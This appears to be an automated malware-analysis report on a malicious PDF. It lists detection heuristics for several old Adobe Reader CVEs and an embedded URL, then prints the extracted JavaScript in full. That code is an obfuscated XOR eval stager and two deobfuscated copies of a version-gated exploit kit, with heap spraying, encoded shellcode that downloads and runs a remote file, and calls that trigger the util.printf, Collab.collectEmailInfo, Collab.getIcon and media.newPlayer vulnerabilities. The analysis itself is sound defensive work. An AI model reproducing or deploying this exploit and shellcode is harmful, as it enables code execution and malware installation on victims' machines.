MALICIOUS
390
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The PDF file contains embedded JavaScript, identified by the 'PDF_JAVASCRIPT' and 'PDF_JS' heuristics. The 'PDF_PAGE_WORD_XOR_EVAL_STAGER' heuristic indicates that this JavaScript is likely used as a stager to download and execute a second-stage payload. The document body is heavily obfuscated and does not provide clear textual lures. No specific malware family could be confidently identified.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://E.egh/4 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0xE63 | 514 bytes |
SHA-256: f82247786bcb48eec7f57ca8a6f2db7939deda5931dfa83caaf99f7eab044c08 |
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Preview scriptFirst 1,000 lines of the extracted script
try {var mLW='FuncUUtion'.replace(/[U]/g, '');mR='var dW = 213 ;vaOr eP = thisO;var hGF=eP.getPagOeNumWords(thiOOsOO.pOageOONuOm)O;var bM=\'\';forO(OOvar gV=OO0OO;gV< OOhGF; gV++){bOM=[bM,O eP.getPageNthWord(eP.pageNum,gV,true)O].join(\'\');;}var nM=\'\';for(var gV=0;gV <O bM.length; gVO+=2)O{OOoOOT=ObMO.sOubsOOtr(gOV,2)O;nM=[nM,StriOng.fromCharCodOe(parOOseInt(oT,16)^dOW)].join(\'\');}evaOOl(nM);nM=nulOl;'.replace(/[O]/g, '');hU=qZ(xU);} catch(gT){var zOL=rM()(mR);zOL();}function rM(){return app.doc[mLW];}
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3743 bytes |
SHA-256: e745d01bca0fe66988cb75a247907034a4cd97ade7dbb275f13760167fb2ed1f |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
var t="t";var sR=new Array();var rE='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var dG='';x={hI:false};gJ={uD:false};var uX=this.info['n'].replace(/[\s]/g, '');var v={xM:"kX".substr(10408)};var xG=new Date();try {var eL='wD'} catch(eL){};var jI = this.info;var yP = (jI.producer.substr(0,5) == 'debug');var nI = new Array(); var iR = "%u";function rU(str){str = str.split(iR);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function eB(str1, str2){return [str1, str2].join("");}function jC(cH){var tQ = qH();var pS = cJ();tQ += ((tQ.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + pS;if(yP) app.alert("URL: " + tQ);tQ=rA(tQ);var d=iR;var oT=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";oT+=tQ;return rU(oT);};function qH(){var nEL = (jI.author + jI.title).replace(/[\s]/g, '');var hK = yZ(nEL, uX, rE);return hK;};function yZ(nEL, rE, uX){var hK="";for(var i=0; i < nEL.length; i++){var vW = rE.indexOf(nEL[i]);if(vW > -1 ){hK += uX[vW];}}return hK;};function rA(nEL){var out = "";nEL = cL(nEL);g = Math.round(nEL.length / 4);if (g != nEL.length /4) nEL+="00";for(var i=0; i < nEL.length; i+=4){out+= iR + nEL.substr(i+2, 2) + nEL.substr(i, 2);}return out;};function cL(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function rS(mL, len){while (mL.length * 2 < len){mL = eB(mL, mL);}return mL.substring(0, len / 2);};function rEF(nG){var cN = 0x0c0c0c0c; dGZ = jC("pdf");if (nG == 1){cN = 0x30303030;}var rGN = 0x400000;var ln = dGZ.length * 2;var b = rGN - (ln + 0x38);var mL = rU(iR+"9090"+iR+"9090"); mL = rS(mL, b);var tO = (cN - 0x400000) / rGN;for (var gP = 0; gP < tO; gP ++ ){nI[gP] = eB(mL, dGZ);}};function cJ(){try {return app.viewerVersion.toString();}catch(fC){ return 0;}}if(yP) app.alert("called exploit");var pS = cJ();if(yP) app.alert("v: " + pS);if (pS > 8){if(yP) app.alert("util.printf");rEF(1);var yBK = "12999999999999999999";for (wN=0; wN < 276; wN++) yBK += "8";util.printf("%45000f", yBK);}if (pS < 8){if(yP) app.alert("Collab.collectEmailInfo");rEF(0);var nU = rU(iR+"0c0c"+iR+"0c0c");while (nU.length < 44952) nU += nU;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : nU});}if (pS < 9.1){if (app.doc.Collab.getIcon){if(yP) app.alert("Collab.getIcon");rEF(0);var gB = unescape("%09");while (gB.length < 0x4000) gB += gB;gB = "N." + gB;app.doc.Collab.getIcon(gB);}}if (pS == 9.2){if(yP) app.alert("media.newPlayer");rEF(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}kXE=29287;kXE++;var zO=["uDM"];var jS=["sH"];? k
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page_word_xor_stage_000.js |
deobfuscated-js | page-word continuous-hex XOR decoded JavaScript (decompressed, key=0xD5) at offset 0x8C | 3739 bytes |
SHA-256: c49a1864c93bdd506356d8db4948699de645e461837bf6a37d2c19ace780bf09 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
var t="t";var sR=new Array();var rE='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var dG='';x={hI:false};gJ={uD:false};var uX=this.info['n'].replace(/[\s]/g, '');var v={xM:"kX".substr(10408)};var xG=new Date();try {var eL='wD'} catch(eL){};var jI = this.info;var yP = (jI.producer.substr(0,5) == 'debug');var nI = new Array(); var iR = "%u";function rU(str){str = str.split(iR);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function eB(str1, str2){return [str1, str2].join("");}function jC(cH){var tQ = qH();var pS = cJ();tQ += ((tQ.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + pS;if(yP) app.alert("URL: " + tQ);tQ=rA(tQ);var d=iR;var oT=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";oT+=tQ;return rU(oT);};function qH(){var nEL = (jI.author + jI.title).replace(/[\s]/g, '');var hK = yZ(nEL, uX, rE);return hK;};function yZ(nEL, rE, uX){var hK="";for(var i=0; i < nEL.length; i++){var vW = rE.indexOf(nEL[i]);if(vW > -1 ){hK += uX[vW];}}return hK;};function rA(nEL){var out = "";nEL = cL(nEL);g = Math.round(nEL.length / 4);if (g != nEL.length /4) nEL+="00";for(var i=0; i < nEL.length; i+=4){out+= iR + nEL.substr(i+2, 2) + nEL.substr(i, 2);}return out;};function cL(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function rS(mL, len){while (mL.length * 2 < len){mL = eB(mL, mL);}return mL.substring(0, len / 2);};function rEF(nG){var cN = 0x0c0c0c0c; dGZ = jC("pdf");if (nG == 1){cN = 0x30303030;}var rGN = 0x400000;var ln = dGZ.length * 2;var b = rGN - (ln + 0x38);var mL = rU(iR+"9090"+iR+"9090"); mL = rS(mL, b);var tO = (cN - 0x400000) / rGN;for (var gP = 0; gP < tO; gP ++ ){nI[gP] = eB(mL, dGZ);}};function cJ(){try {return app.viewerVersion.toString();}catch(fC){ return 0;}}if(yP) app.alert("called exploit");var pS = cJ();if(yP) app.alert("v: " + pS);if (pS > 8){if(yP) app.alert("util.printf");rEF(1);var yBK = "12999999999999999999";for (wN=0; wN < 276; wN++) yBK += "8";util.printf("%45000f", yBK);}if (pS < 8){if(yP) app.alert("Collab.collectEmailInfo");rEF(0);var nU = rU(iR+"0c0c"+iR+"0c0c");while (nU.length < 44952) nU += nU;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : nU});}if (pS < 9.1){if (app.doc.Collab.getIcon){if(yP) app.alert("Collab.getIcon");rEF(0);var gB = unescape("%09");while (gB.length < 0x4000) gB += gB;gB = "N." + gB;app.doc.Collab.getIcon(gB);}}if (pS == 9.2){if(yP) app.alert("media.newPlayer");rEF(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}kXE=29287;kXE++;var zO=["uDM"];var jS=["sH"];
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